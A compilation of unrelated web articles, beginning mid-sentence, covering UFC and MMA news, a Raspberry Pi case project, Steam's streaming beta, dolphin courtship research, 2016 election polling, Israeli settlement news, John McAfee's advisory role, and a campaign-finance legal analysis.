Patrick Cote, who is 3-1 in his last four but coming of a TKO loss to Donald Cerrone. If Alves is unable to beat Cote, it may be time for Alves to ride off into the sunset. Only five ranked fighters on main card. It’s crazy to look at, but only Cormier, Johnson, Weidman, Mousasi and Oliveira are ranked fighters heading into UFC 210. Now, most think Calvillo will be ranked shortly, but it speaks to a bit of the depth issues that fans have been concerned with on these pay-per-view card of late. If UFC wants fans to keep buying these cards, they need more ranked fighters on them. A letdown brewing? This will be UFC’s third pay-per-view event of the year. The first two did little to keep fans engaged throughout the card. Plus, both main events (Holly Holm vs. Germaine de Randamie and Tyron Woodley vs. Stephen Thompson) were brutal to watch. With a heavy striker like Rumble in the mix, the hope is he can provide some fireworks. Cormier even said early on in the leadup to this fight that he would stand and trade with him if necessary, but nobody believes him. The smart way for Cormier to win is to make this a boring fight to watch, which would lead to more criticism of UFC’s new management and match-making coordination. -About **CURRENT PRODUCTION PROTOTYPE** 100% of mom's agree... Raspberry Pi tastes best in a PiCrust! "The Raspberry Pi is a credit-card sized computer that plugs into your TV and a keyboard. It’s a capable little PC which can be used for many of the things that your desktop PC does, like spreadsheets, word-processing and games. It also plays high-definition video. The Raspberry Pi Foundation's goal is to see it being used by kids all over the world to learn programming." ** The Raspberry Pi is a great little micro computer... but it does have one flaw: They all ship without a case. This project's goal is to design, develop and mass produce a case to get the cost as low as possible. Version 1.0 of my Raspberry Pi Case, with Fan Mount (This is the 3d printable model, **Not the final production model**: Printed Prototype (Notice the lack of curves...): I've custom built my own 3D printer, and have been turning out print after print of my prototype case design; but this process is slow... Very Slow. Every case takes me an hour and a half to print. Which means I have to keep the costs high to keep demand low. I'd like to reverse that, and get lower priced cases (like, very low priced), into the hands of anyone who wants one. To get the price low, the answer is simple: bulk. I need to get enough people interested to get funding to do a mass production run through an injection molder. This is the only way to drop the price low enough to make it feasible to offer them at this price. ** Injection Molded prototype rendered in black, showing GPIO Port (and how the case fits together) **Old Injection Molded Prototype (Still Changing) If I don't get enough orders to cover the cost of injection molding; I'll still continue making cases on my 3d printers... I'll just make a lot less of them. So... what do you think? Are you in? ** RaspberryPi.org -There are some exciting changes in today's Steam client beta update! First off, SteamVR (formerly known as OpenVR), Valve's alternate reality SDK, has been officially shipped. Hopefully we'll see some developer documentation pop up soon so developers can integrate it into their games. SteamVR also brings VR support inside Steam's Big Picture. Read this if you want to try it out. And if a fancy VR mode isn't enough, the In-Home Streaming client has been shipped as well! It wasn't mentioned in the changelog, probably because it is currently undergoing a limited invite-only beta test. Update: The first batch of invites have been sent out! Going off the Known Issues list from the below FAQ page and the fact there are streaming client binaries for Windows, OSX and Linux you'll be able to stream from and to any supported Steam platform. Steam In-Home Streaming will allow you to play a game on one computer when the game itself is actually running on another computer somewhere else in your home network. Through Steam, game audio and video is captured on the remote computer (server) and sent to the players computer (client). The game input (keyboard, mouse or gamepad) is sent from the players computer (client) to the actual game on the remote computer (server). – In-Home Streaming FAQ page Codecs These codecs seem to be implemented, we're not sure until we have an invite but it looks like a promising start. Video Raw H.264 VP8 Audio Raw Opus Ogg Vorbis These codecs are referenced in the internals of the streaming client, and might or might not pop up at one point. HuffYUV ULY0 H.265 VP9 ORBX Launch arguments These are internally called upon by the Steam Client, but do give a nice overview of the capabilities. Usage: %s [--windowed] [--novsync] [--nohwaccel] [--captureres WxH] [--framerate N] [--bitrate N (Kbit/s)] [--debug] [--testlocallatency] accountname -(CNN) Romance isn't dead yet -- at least not in waters off the western coast of Australia. Scientists have recently observed humpback male dolphins in the region presenting females with large marine sponges in the hope of impressing them. They also observed male humpback dolphins acting as "wingmen" for each other-- this type of male cooperation is unusual in dolphins given that paternity can't be shared. This is the first time this level of social complexity has been observed in dolphins. Not just foraging While previous research has shown bottle-nose dolphins using sponges and sometimes shells as foraging tools, this was clearly different. "This is a sexual display involving object carrying by humpback dolphins," said Simon Allen, the lead author of a study on the phenomenon that was released last month. The research was carried out across the north-western Australian coastline, with sites in Coral Bay, the North West Cape, Dampier Archipelago, Cygnet Bay and Cone Bay. "This is incredibly rare in mammals, except of course, in our own species," Allen, from the University of Western Australia, told CNN. There are three possible reasons for this behavior, he said: "It's gift giving, it's a signal of his fitness (so) quality as a mate, or it's a threat to coerce her into mating with him." Big boys only Leaping humpback dolphin Only the big male dolphins put on this show, and almost always, it's for the benefit of the female dolphins. In their decade long study, published in the journal Scientific Reports, researchers from the University of Western Australia, the University of Zurich and Murdoch University recorded sponge presentation, and sometimes, tossing the sponge towards the female. Some male dolphins even adopt the "banana pose," whereby a big male will lie at the water surface with his head and tail arched up -- almost as if he is flexing his muscles. An essential for any good first date, the male dolphin might also provide music: a kind of trumpeting "toot!" sound out of his blowhole. Friendship first Some big males will even pair up with a friend, acting as a wingman of sorts, helping each other out when it comes to social interactions. The pairing might try to secure the affections of the female, to prevent her from escaping their attentions, beat up on other males, or even defend the female against a potential attack from other males. "The formation of alliances between adult males for the purposes of coercing females is uncommon, since mating success cannot be shared," said co-author Stephanie King, a Research Fellow at the Centre for Evolutionary Biology, University of Western Australia. The only other species that form alliances for mating purposes are lions and a few other primates. Previous research conducted on the bottle-nose dolphins of Shark Bay indicates "these male alliances are generally very tight units, and even when they are following a female, they spend most of their time petting and touching each other, reinforcing that love is love, no matter what the sex or the species," said Allen. This is the first time a similar bond was seen between humpback males as well. Less is known about such behavior in humpback dolphins, but the team hopes to research this further. Allen also said the team would next like to collect biopsy samples in order to assess paternity success, to partly answer the question of whether courting behavior by male dolphins actually works. -You don't often see someone call out an injured fighter coming off a loss, but UFC welterweight Tyron Woodley believes a matchup with Matt Brown is exactly what the fans want. "Granted it's one of the toughest fights, but it's a good match-up, people love [Brown], he was a fight away from a title shot, ranked fifth, and fans would flip," Woodley told MMA Fighting Tuesday. "I feel like he will bring the best out of me and test my limits. I respect him as a fighter and feel fighting him makes the most since for my career." Brown, rehabbing the right hand he injured in a decision loss to Robbie Lawler at UFC on FOX 12, isn't so sure. If he had his way, he'd much rather be re-booked against former WEC champion Carlos Condit. "I just went to the doctor this morning for my hand so it's going to be four weeks before I'm even cleared to spar, punch pads, do any hard core grappling," Brown told FOX Sports. "I can do some light drills and stuff but my hand is still messed up so between now and then is when I'm really going to decide what happens. I feel like it's fairly irrelevant at this point but I think Woodley or [Carlos] Condit it probably going to be along the same line I would think. Me and Condit were supposed to fight once before and I think that's the fight everyone wants to see. I think out styles, the way they match up, is probably the most interesting fight out there. I'm open to whatever." Brown was set to face Condit last December at UFC on FOX 9, but was forced to withdraw after herniating two discs in his lower back the week of the fight. Condit was then booked against Woodley at UFC 171 in March, suffering a TKO loss after tearing both his ACL and meniscus. "You never know how a fight's going to go, but I would anticipate not a f**kin' barnburner war," Brown said of a matchup with Woodley. "That's probably not what the fans would anticipate. Whether it is or not, god only knows. Condit is probably a f**kin' barnburner. I can't imagine it going any other way." Brown isn't confident fans would buzz over the Woodley matchup, whereas a booking with Condit would create a frenzy. "Strategy is whatever," said Brown. "I don't give a f**k. I don't see the fans anticipating a war [with Woodley]. I don't anticipate anything in a fight. A lot of them are probably going to expect [Woodley] to knock me out real quick or he's going to take me down, grind me out real quick, or that I'm going to slowly beat him up and that it'd be a good war. Those are three basic options for Woodley where I think Condit you have, most likely, no matter how this fight goes, we're f**king each other up. We're going to be bloody and beat up at the end." 5 MUST-READ STORIES 'In breach.' The UFC announced Tuesday that UFC President Dana White was found to be in breach of the promotion's regulatory protocol after he removed judge Howard Hughes from officiating at UFC Fight Night: Bisping vs. Le. White later apologized and said he was wrong. 'Hopefully it's the last time I'll ever do that.' 'It's pretty much life and death for me.' Chad Mendes talks head games with Jose Aldo, the rivalry between Team Alpha Male and Nova Uniao and more. Wonderful. Phil Davis explains his approach to fighting Glover Teixeira, helping Daniel Cormier train for Jon Jones and his concerns over the judging in Brazil. Numbers. Saturday's FOX Sports 1 event in Tulsa averaged 689,000 viewers, the third-lowest for a Saturday night Fight Night to date, while the debut episode of TUF Latin America peaked at 7.2 million viewers on Televisa. Heading south. UFC announces a stacked card for their debut in Mexico on Nov. 15. MEDIA STEW UFC 177 embedded episode 2. Jose Aldo shoves Chad Mendes at UFC 179 media day. Fight Motion: Henderson vs. dos Anjos. Dan Hardy previews UFC 177 and teaches you how to gamble like a degenerate. Highlights from PANCRASE 260. TTTHS. Wow. Fighter wins a title fight by TKO after his opponent pukes in the cage. (Gross-ish) Long watches. UFC 180: Ticket On-Sale Press Conference ... WEC Wrekcage: Faber vs. Pearson TWEETS Sounds good. Shit got heated today. Can't wait to punch this dude right in his mouth. @torque1net @thememorytag... http://t.co/sDVsGCE9A8 — chad mendes (@chadmendes) August 26, 2014 Things got out of control at the @ufc 179 media day in brazil. Good thing I was there to keep the... http://t.co/fqStqa5Sq1 — Phil Davis (@PhilMrWonderful) August 26, 2014 Ready. @DiegoSanchezUFC @ufc Melendez beat you, Gomi beat you, jury smashed you, pearson beat you.. Use your brains cells and you have a chance!! — STORMIN NORMAN PARKE (@norman_parke) August 26, 2014 Got a fight? Finally the day I've been waiting for is here. Thank God — Anthony Johnson (@Anthony_Rumble) August 26, 2014 Get well soon. Thanks for the support everyone. I'm sorry I won't be able to fight next week. I can't wait to be back to 100% and fight for you guys. — Andre Fili (@TouchyFili) August 27, 2014 This is how you escape throws ;) #judo Cool. The struggle. Waiting for someone to call me out — Hector Lombard (@HectorLombard) August 27, 2014 @danawhite @ufc @seanshelby I'm confident I can beat any BW and FLYW. You signed guys who ducked me 4 times. Give me a chance too. — Leandro Higo (@LeandroHigoMMA) August 26, 2014 @danawhite @seanshelby I work hard every day. I'm ready to fight at any time. I beat @ufc veterans. I'll do anything to be a UFC fighter. — Leandro Higo (@LeandroHigoMMA) August 26, 2014 I have to laugh at the way my mother keeps referring to my time on TUF as when I was 'on my holidays'. It sure wasn't any holiday :) #tuf20 — Aisling Daly (@aisydaly) August 26, 2014 I was carded at a bar for trying to buy orange juice. :D lol RT @lastcall155 @holdsworth135 I was just denied kombucha for not having I.D. — Roxanne Modafferi (@Roxyfighter) August 26, 2014 Why? FIGHT ANNOUNCEMENTS Announced yesterday (Aug. 26 2014) cancelled Akira Corassani vs. Chan Sung Jung at UFC Fight Night: Nelson vs. Story Dustin Jacoby vs. Muhammed Lawal at Bellator 123 Jake Ellenberger vs. Kelvin Gastelum at UFC 180 Norman Parke vs. Diego Sanchez at UFC 180 Dennis Bermudez vs. Ricardo Lamas at UFC 180 Marcus Brimage vs. Erik Perez at UFC 180 Kailin Curran vs. Paige VanZant moved from UFC Fight Night: MacDonald vs. Saffiedine to UFC Fight Night: Austin Joseph Benavidez vs. Dustin Ortiz at UFC Fight Night: Austin Andre Fili out, Chas Skelly vs. Sean Soriano at UFC Fight Night: Mousasi vs. Souza Found something you'd like to see in the Morning Report? Just hit me up on Twitter @SaintMMA and we'll include it in tomorrow's column. -Prospect of the Day: Leonys Martin, OF, Texas Rangers While all of the baseball world's attention is drawn to the 2011 draft, remember that teams have other sources of talent, too, namely the international market. The Texas Rangers made a splash this spring by signing Cuban defector Leonys Martin to a five-year, $15.5 million free agent contact. A 23-year-old center fielder, Martin is a left-handed hitter and right-handed thrower. With the bat, he is a line drive hitter with a good feel for the strike zone and strong contact abilities. Although he's not a huge home run hitter, he has significant pop to the gaps, will hit plenty of doubles, and could hit 10-15 homers a year in time. His running speed isn't spectacular but rates as above average, and he has the instincts to use it well. Likewise, both his throwing arm and outfield defense rate as above average, and he is a fine defender in center field. Martin has played well in his first 20 minor league games, hitting .338/.419/.538 in 80 at-bats for Double-A Frisco in the Texas League. He's drawn 11 walks with just six strikeouts so far. While the sample is small, this does match the scouting reports about his contact/discipline style of hitting. He's stolen eight bases but has also been caught four times, but scouts don't expect stealing efficiency to be a long-term problem. The Rangers expect Martin to be ready for the majors within a year, and the early returns from Frisco do nothing to dispute this. He could move up to Triple-A by mid-summer, and a September promotion is possible if the Rangers want to get a look at their big investment before 2012. I would rate him as a solid Grade B prospect right now, with a B+ by the end of the year if he maintains this level of performance. -As he made clear in his announcement speech, Donald Trump has taken an interest in crimes happening along the U.S.-Mexico border. Making the case for the construction of a “great wall” between the two countries, he complained that Mexican immigrants are “bringing drugs” and “crime” to the United States as a part of the ongoing Mexican Drug War, a conflict which is largely the result of the War on Drugs waged in the United States. Despite this, Donald Trump continues to support drug war policies at home and oppose reforms that could attenuate the conflict in the area. Donald Trump knows the War on Drugs doesn’t work. In 1990, he spoke boldly about what needed to be done to put an end to drug-related crime: Billionaire New York developer Donald Trump says that legalizing drugs is the only way to win the war against what he considers one of America’s most serious problems. Trump blamed the country’s drug problems on politicians who “don’t have any guts” and enforcement efforts that are “a joke.” “We’re losing badly the war on drugs,” Trump told 700 people at a luncheon Friday. “You have to legalize drugs to win that war. You have to take the profit away from these drug czars.” “What I’d like to do maybe by bringing it up is cause enough controversy that you get into a dialogue on the issue of drugs so people will start to realize that this is the only answer; there is no other answer,” Trump said. (via Herald Journal) Since the 1990s, our prohibitionist policies have remained in place and violence related to the illegal drug trade has skyrocketed. The Mexican Drug War alone has claimed the lives of over 100,000 people in eight years and displaced over a million people as a result of the cartel violence. As Donald Trump surely knows, many of those displaced from their homes in Mexico migrate north to the United States. Meanwhile, drug cartels reap huge profits from the illegal drug trade, which fuels the lawlessness that Trump is calling attention to. As Anthony Johnson points out, Donald Trump was right when he said legalization is the answer to these problems. On top of raising tax revenue and saving millions on law enforcement, marijuana legalization has shown to be an effective policy to reduce the profits of drug cartels: “Is it hurting the cartels? Yes. The cartels are criminal organizations that were making as much as 35-40 percent of their income from marijuana,” [retired federal agent] Nelson said, “They aren’t able to move as much cannabis inside the US now.” In 2012, a study by the Mexican Competitiveness Institute found that US state legalization would cut into cartel business and take over about 30 percent of their market. (via Vice News) Despite knowing that legalization is, in his own words, “the only way to win” the War on Drugs, Trump no longer favors this position, arguing instead that marijuana legalization is causing problems in states like Colorado. “I think it’s bad, and I feel strongly about that,” he said this year. While he suggests he would allow states to enforce their own marijuana laws should they choose to legalize, Donald Trump stated multiple times that he does not support ending marijuana prohibition “unless it’s medical marijuana.” According to Donald Trump, the United States needs a president “who thinks like a winner;” but while he knows that the War on Drugs can only be won with legalization, he opposes this position and provides no viable alternative. In this way, Trump has come to resemble the gutless politicians he denounced earlier in his career. Rather than leading the way towards peace in the Mexican Drug War, Trump seems satisfied merely complaining about it, and that’s about as far as one can get from thinking like a “winner.” -Washington (CNN) Two weeks from today, Iowans will gather at caucus sites around the state in the first formal balloting of the 2016 presidential election. As the candidates make their final pitches, voters in the early states will solidify their choices -- if they haven't already -- and the rest of us will finally be able to point to real results when assessing a candidate's appeal. Heading into these crucial final weeks, here's a look at where things stand according to the polls. Martin O'Malley delivered a dig at the GOP candidates, recounting a voter asking him to not refer to her son, who serves in the military, as a pair of boots on the ground. O'Malley said Republicans use, "boots on the ground," when they're "trying to look all bravado and macho sending other peoples' kids into combat." Martin O'Malley delivered a dig at the GOP candidates, recounting a voter asking him to not refer to her son, who serves in the military, as a pair of boots on the ground. O'Malley said Republicans use, "boots on the ground," when they're "trying to look all bravado and macho sending other peoples' kids into combat." A new NBC/Wall Street Journal national poll on Sunday showed Clinton leading Sanders 59% to 34%, with the third candidate in the race, former Maryland Gov. Martin O'Malley, at 2%. A new NBC/Wall Street Journal national poll on Sunday showed Clinton leading Sanders 59% to 34%, with the third candidate in the race, former Maryland Gov. Martin O'Malley, at 2%. Sanders angrily rejected Clinton's claims that his plans would result in the gutting of Obamacare, saying that he wanted to build on the achievements of the current president, not overturn them. "No one is tearing this up, we are going to go forward," Sanders said, his voice rising in anger. "That is nonsense." Sanders angrily rejected Clinton's claims that his plans would result in the gutting of Obamacare, saying that he wanted to build on the achievements of the current president, not overturn them. "No one is tearing this up, we are going to go forward," Sanders said, his voice rising in anger. "That is nonsense." Clinton and Sanders also argued over health care. "We finally have a path to universal health care, we have accomplished so much already. I do not want to see the Republicans repeal it and I don't want us to start all over again with a contentious debate," said Clinton. Clinton and Sanders also argued over health care. "We finally have a path to universal health care, we have accomplished so much already. I do not want to see the Republicans repeal it and I don't want us to start all over again with a contentious debate," said Clinton. Clinton and Sanders began the evening trading barbs on gun control. Clinton slammed Sanders for voting "with the NRA, with the gun lobby numerous times." Sanders hit back, arguing that he had a D-minus voting rating from the National Rifle Association and rejected her list of charges. Clinton and Sanders began the evening trading barbs on gun control. Clinton slammed Sanders for voting "with the NRA, with the gun lobby numerous times." Sanders hit back, arguing that he had a D-minus voting rating from the National Rifle Association and rejected her list of charges. In Iowa, new CNN Poll of Polls averages find no clear leader on either the Democratic or Republican side, while nationally, Hillary Clinton and Donald Trump continue to hold solid leads over their top competitors. Those figures reflect the state of the race over the last few weeks, but much can change in the final weeks of a campaign. Even in Iowa, where the campaign has been a focus for longer than almost anywhere else in the country, the latest Bloomberg/Des Moines Register poll shows 4-in-10 people likely to attend the Democratic caucuses say they could still change their minds before they cast a ballot, as do a majority of Republican likely caucusgoers. The tightening Democratic race The Democratic race, long expected to be less competitive than the GOP race, is tightening in the home stretch, both nationally and in Iowa. The Iowa CNN Poll of Polls, which incorporates the first polling conducted in 2016, finds Hillary Clinton and Bernie Sanders running dead even, with 45% each, while former Maryland Gov. Martin O'Malley languishes in single digits. The same analysis conducted using polling released in December yields an average of 52% support for Clinton to 37% for Sanders. The O'Malley factor Despite O'Malley's slim support, the Democratic Party's rules for allocating delegates mean his backers could ultimately sway the contest in favor of one of the two front-runners. The caucus process for Democrats is a two-stage affair: After an initial count of each candidate's support in the room, those whose chosen candidate has the backing of less than 15% of those in the room must either choose someone else to support or elect to remain uncommitted. Given his low support statewide, it seems unlikely O'Malley will hit the 15% threshold in many caucus locations, making his supporters a potential source of an edge for either Clinton or Sanders. While polling among O'Malley's backers has too small a sample size to get a read on which side they would choose, the numbers from the latest Des Moines Register/Bloomberg poll suggest O'Malley's backers are more open to reconsidering their choice than are those behind Clinton or Sanders. When likely caucusgoers were asked if they "could still be persuaded to support another candidate," 40% overall said they could be swayed, compared with only about 3-in-10 of those behind Clinton and Sanders, suggesting O'Malley's backers were a bit more apt to say their minds could be changed. The national picture and the long game Nationally, Clinton continues to maintain a significant lead over Sanders, yet here too, the contest has tightened, though not as dramatically as in Iowa. Overall, Clinton tops Sanders 54% to 36% across polls conducted between mid-December and now. Conducting the same analysis on polling released earlier in December, Clinton topped Sanders 56% to 31%. For Clinton and her campaign, the continuing breadth of her lead nationally has to be reassuring. Should Sanders top Clinton in Iowa, he would likely take both of the first two contests. Most recent polling in New Hampshire has found him well ahead of Clinton there, a neighbor state to his home state of Vermont. But after that contest on February 9, the race shifts to South Carolina, Nevada and a wide swath of southern states that vote on March 1. Looking ahead to those contests, the demographic makeup of Clinton's national support -- including a massive lead among the non-white voters who will make up large chunks of the vote in many of those states -- suggests defeat in the first two states to vote may not guarantee the demise of the former secretary of state's campaign. GOP deadlocked in Iowa On the Republican side, national front-runner Donald Trump has maintained a strong advantage overall as the campaign rolls toward its final days, yet he faces stiff competition for the hearts of Iowa caucusgoers from Texas Sen. Ted Cruz. The CNN Poll of Polls average in Iowa finds Cruz with 27%, just ahead of Trump at 25%, with Marco Rubio at 14% and Ben Carson at 10%. The rest of the field stands at 5% or less. That's less of a change since December than the averages suggest on the Democratic side. Averaging polls of Republican likely caucusgoers released in December, 26% said they backed Cruz, 25% Trump, virtually the same as the January figures. The turnout factor What could break the tie? Those backing Trump would argue his enthusiastic supporters will be certain to show up, just as they do to hear him speak, packing arenas across the country. The Quinnipiac poll in Iowa found that 66% of Trump's supporters say they are more enthusiastic about this caucus than they have been in the past, a little above the 57% of Cruz's supporters who say the same. And the businessman-turned-politician has won over Republican voters looking for a strong leader on their most important issues: Quinipiac's poll in Iowa found Trump broadly ahead of his competitors as more trusted to handle the economy, immigration and terrorism. And 81% said they consider him a strong leader. Cruz's best bet in Iowa rests on reliable turnout. His support comes more strongly among the groups who have tended to be more reliable voters in the past -- evangelicals, those with more formal education, and those who describe themselves as "very conservative." The big picture for the Republicans Nationally, Trump's lead stands at 14 points in the Poll of Polls, with Trump at 34%, Cruz at 20%, Rubio at 12%, Carson at 10% and the rest of the field at 4% or less. Compared with averages from earlier in December, before the final GOP debate of 2015, Trump has held steady while Cruz has gained a few points over that time. Cruz averaged 17% across five national polls conducted just before that debate, held on December 14. Looking ahead, there's been little polling elsewhere that's found anything other than a Trump lead, and in New Hampshire, Trump's support in recent polls has been among the highest of the cycle. -Washington (AFP) - Israel faced increasing pressure Monday, including from the United States, after saying it plans to expropriate 400 hectares (988 acres) of Palestinian land in the Bethlehem area in the south of the occupied West Bank. Ally Washington, the United Nations and Egypt all called for an urgent rethink after Sunday's announcement, which angered the Palestinians and alarmed Israeli peace campaigners, and comes days after a long-term ceasefire between Israel and the Palestinians took hold. According to the Israeli military, the land move was a political decision made after the June killing of three Israeli teenagers snatched in the same area, known to Israelis as the Gush Etzion settlement bloc. "This announcement, like every other settlement announcement Israel makes, planning step they approve, and construction tender they issue, is counterproductive to Israel's stated goal of a negotiated two-state solution with the Palestinians," a US State Department official said. "We urge the government of Israel to reverse this decision." Israeli Prime Minister Benjamin Netanyahu's policy of settlement expansion on land the Palestinians claim for a future state is deemed illegal by the European Union and an "obstacle to peace" by the United States. UN Secretary General Ban Ki-moon was "alarmed" by Israel's plans, his spokesman said. "The seizure of such a large swathe of land risks paving the way for further settlement activity, which -– as the United Nations has reiterated on many occasions -– is illegal under international law and runs totally counter to the pursuit of a two-state solution," the spokesman said. "The secretary-general calls on Israel to heed the calls of the international community to refrain from settlement activity and abide by its commitments under international law..." Egypt -- which last week mediated a permanent truce between Israel and the Hamas rulers of the Gaza Strip to end a 50-day war -- denounced Israel's move. "This is not a positive step -- it contradicts international law and will have negative consequences on the peace process," a foreign ministry statement in Cairo said. The foreign ministry did not mention the Gaza truce talks, but insisted that Israel's planned West Bank land grab would be "an obstacle" to a two-state solution between Israel and the Palestinians. Rights watchdog Amnesty International similarly denounced the Israeli plans, saying that it "appears to be the largest land grab in the occupied Palestinian territories since 1980." "Israel’s strategy of illegally confiscating land for settlements in the West Bank must stop once and for all," said Amnesty's Philip Luther. The Palestinians have called for diplomatic action against Israel, while Israeli peace campaigners said the land expropriation is the biggest of its kind in three decades. -Update November 25 at 2:15 p.m.: Equibit issued a clarification to their previous press release to clarifying that McAfee would be only an adviser to the company’s board and not an actual employee. See details below. The epic and unpredictable adventures of John McAfee have taken their most startling turn yet: He’s accepted a job working for someone else. Toronto-based Equibit Development Corporation said in a press release today that McAfee has been hired as the company’s chief security officer. In a somewhat unusual arrangement, however, McAfee will be reporting to the board and not the CEO. “We’re honored and thrilled to be working with John McAfee,” said Equibit CEO Chris Horlacher in a statement. “With his input and ongoing guidance, EDC will continue to set the security standard for blockchain services. We share his unwavering commitment to IT security and, with his help, will continue to push the boundaries of what’s possible in this industry.” Equibit is a security service for safely issuing shares in companies and protecting trades from hacks, using decentralized blockchain technology. The platform will also handle other shareholder services, like voting and registering new stock owners. “Equibit Development Corporation has positioned itself to become a major player in the blockchain development field focused on the financial sector,” said McAfee in a statement.“With my guidance and advice, I anticipate the company to experience stellar growth and achievements.” McAfee founded McAfee Associates in 1987 but left in 1994. The company was eventually sold to Intel in 2011 for more than $7.68 billion. In recent years, McAfee has led a somewhat colorful existence, as chronicled in numerous news stories. He fled Belize after it appeared he was being investigated in connection with a murder several years ago. No charges were ever brought, and the case appears to have been put to rest. He’s also not been shy about discussing his decadent, gun-toting life in Central America with journalists. Last year, he became a presidential candidate for the Libertarian Party but lost the nomination to Gary Johnson. He’s also continued his work in tech, launching a company called QuorumEx in 2010 to develop new types of antibiotics. In 2013, he started Future Tense Central, to create “D-Central,” a security network device. That was followed in 2014 by Cognizant, an app that helps smartphone users understand what permissions they’ve granted to other apps. And, in addition to running an incubator, he still currently holds the titles of CEO and executive chairman at an investment fund called John McAfee Global Technologies. UPDATE: “After a cordial discussion with John, we jointly reaffirmed our agreement to work together. McAfee will not be EDC’s chief security officer but a senior advisor in the company’s newly created Security Advisory Committee, starting immediately,” said Horlacher in a statement. In an email statement given to the company which was included in the press release, McAfee said: “I regret the confusion…As we had discussed, I advise multiple boards of directors for companies in the cybersecurity field. I do this because the World’s cyber defense systems lag far behind existing weaponized software and if we do not all pull together then I fear that mankind’s future is uncertain at best. After our phone discussion this morning I have relented and will continue to advise and assist your board in any manner that my time allows. Please give me no title.” -Donald Trump Jr. is interviewed by Sean Hannity for his Fox News Channel television program on Tuesday in New York. (Richard Drew/Associated Press) As I noted Wednesday, some people are arguing that Donald Trump Jr. committed a crime by expressing willingness to accept unspecified information that came from the Russian government and that was offered as “part of Russia and its government’s support for Mr. Trump.” (The incident happened before the hack of the Democratic National Committee was revealed, so there’s no indication that Trump Jr. thought that the offered information had been obtained illegally.) The theory is this: A federal statute makes it a crime for “a foreign national, directly or indirectly, to make … a contribution or donation of money or other thing of value … in connection with a Federal, State, or local election.” Politically damaging information, especially deliberately assembled opposition-research-style information, is a “thing of value.” Therefore, when someone offered the unspecified information to Trump Jr., saying it was “some official documents and information that would incriminate Hillary [Clinton] and her dealings with Russia and would be very useful to your father,” and Trump Jr. responded, “if it’s what you say I love it,” Trump Jr. was soliciting the commission of a crime — the crime of a foreign national making a contribution of a thing of value in connection with a federal election — and such solicitation was itself a crime. As I argued Wednesday, though, reading “thing of value” to include such politically damaging information would outlaw a broad range of constitutionally protected opposition research. Such a reading would therefore make the statute unconstitutionally overbroad, in violation of the First Amendment; the statute must therefore be read to avoid such an unconstitutional result, by interpreting “thing of value” to exclude such information. Even if a narrower statute — for instance, one focused on speech by foreign governments and not just by foreign nationals — could forbid such communications (and I doubt that it can), this statute cannot be constitutionally read to do so. But, thinking further about the case, I think there’s still more reason to reject the broad reading of “thing of value.” 1. First, the same statute bans not just foreigners’ “contributions” directly to campaigns, but also “expenditure[s]” of money or “thing[s] of value” by foreigners. Indeed, when it comes to foreigners spending money to buy ads, print leaflets and the like, that equation of contributions and expenditures is well settled: Foreigners can neither contribute money to a candidate nor spend their money to support or oppose a candidate. And “expenditure” is defined to mean “any purchase, payment, distribution, loan, advance, deposit, or gift of money or anything of value, made by any person for the purpose of influencing any election for Federal office” (emphasis added). There’s that phrase “thing of value” again — if “thing of value” for the purposes of the contribution ban includes giving valuable damaging political information to a campaign, then “anything of value” for purposes of the expenditure ban includes giving such information to anyone else, so long as the gift is intended to influence a federal election. The Post's Ruth Marcus explains why Donald Trump Jr. is in legal jeopardy. Hint: stupidity is not a legal defense. (Adriana Usero,Kate Woodsome/The Washington Post) So, imagine that a foreigner — say, a Turkish businessman — thinks that President Trump did something bad (say, in building a Trump hotel in Turkey). Maybe the bad thing was criminal but not something the Turkish government wants to prosecute, or maybe it was just unsavory even if not criminal. In any case, the Turk assembles the evidence. It’s important evidence, which would be valuable for American voters to consider. Under the “information as thing of value” theory, it would be a crime for the Turk to give the information to the Clinton campaign, since that would be an illegal contribution. (That’s the very premise of the argument against Trump Jr. that I’m discussing.) So instead, he decides to give it to the New York Times, hoping the Times writes about this and gives Trump the comeuppance that (in the Turkish businessman’s mind) Trump deserves. Yet that, too, is a crime (again, accepting the thing-of-value theory): The gift of the “thing of value” to the New York Times, done, “for the purpose of influencing [an] election for Federal office” is itself an illegal expenditure. 2. But wait: This doesn’t just risk criminal punishment for the foreign businessman. What if a New York Times reporter is approached by the Turk, who wants to set up a meeting, and the reporter says, “if it’s what you say I love it”? Then, by the same logic being applied to Trump Jr.’s response, that reporter is committing the crime of soliciting the illegal expenditure — he’s encouraging the businessman to illegally give a gift of something of value (information). It’s possible that the reporter could avoid criminality by insisting on paying money for the information (which presumably would have to be the market value of the information, however one calculates this). That would presumably make the transfer not a gift and thus not an expenditure. But checkbook journalism is usually frowned on — yet the no-gifts-of-information reading of the statute would actually require such checkbook journalism. There is a media exception to the ban on expenditures; that provision defines “any news story, commentary, or editorial distributed through the facilities of any broadcasting station, newspaper, magazine, or other periodical publication” as being not an “expenditure” (even though money is spent to publish such material). But, as I read it, that frees media outlets (even foreign-owned ones) to spend their money in speaking about candidates and frees domestic corporate-owned media outlets to speak to candidates about coverage (which might otherwise be an illegal corporate-coordinated expenditure). The media exception doesn’t let media outlets solicit “expenditures” by third parties. 3. Relatedly, say that a New York Times reporter calls highly placed people he knows in a foreign government and asks them to pass along any files they have on an American political candidate, assuming they can do so without violating any obligations to their own government. (Say, for instance, that the candidate had been an ambassador, or a secretary of state, and dealt extensively with foreign officials; and the foreign government is willing to report on the candidate’s performance.) That, too, would be soliciting the criminal gift of a thing of value (again, accepting the information-about-candidate-as-thing-of-value theory), and thus itself a crime. 4. Now let’s turn from foreigners to corporations. Though Citizens United held that corporations are free to make independent expenditures, corporations remain barred from making contributions to federal political candidates. And that prohibition applies — you guessed it — to “anything of value.” That means that if the Clinton campaign staff heard that some corporation had assembled information that showed misconduct on Trump’s part, and was willing to share it (maybe the corporation was involved in a business relationship gone sour), the staff would be committing a crime by asking for the information: It would be illegally soliciting an illegal campaign contribution of valuable information. Again, perhaps I’m wrong in my reading of the statutes; please do let me know if that’s so. But as I see it, the implications of viewing politically damaging information about a candidate as a “thing of value” regulated by federal campaign finance laws would be extremely broad. Such a reading would end up suppressing a wide range of speech, not just to and by campaigns, but also speech by foreigners to American media outlets or advocacy groups. It would certainly not be limited to solicitation of hacked material from foreign governments (since, again, there’s no evidence that Trump Jr. thought this material was hacked). It wouldn’t even be limited to solicitation of any material from foreign governments, since the statute applies equally to all foreigners (except those who are also U.S. citizens or U.S. permanent residents). As I noted, it wouldn’t be limited to solicitation of material by campaigns. If read this way, the statute would be unconstitutionally overbroad — so, as a legal matter, the statute ought to be read as not covering such distribution or solicitation of damaging information about a candidate. -The bottle opener sunglasses are a pair of sunglasses that have a bottle opener built right into the frame and are great for people who enjoy drinking bottled beverages while in 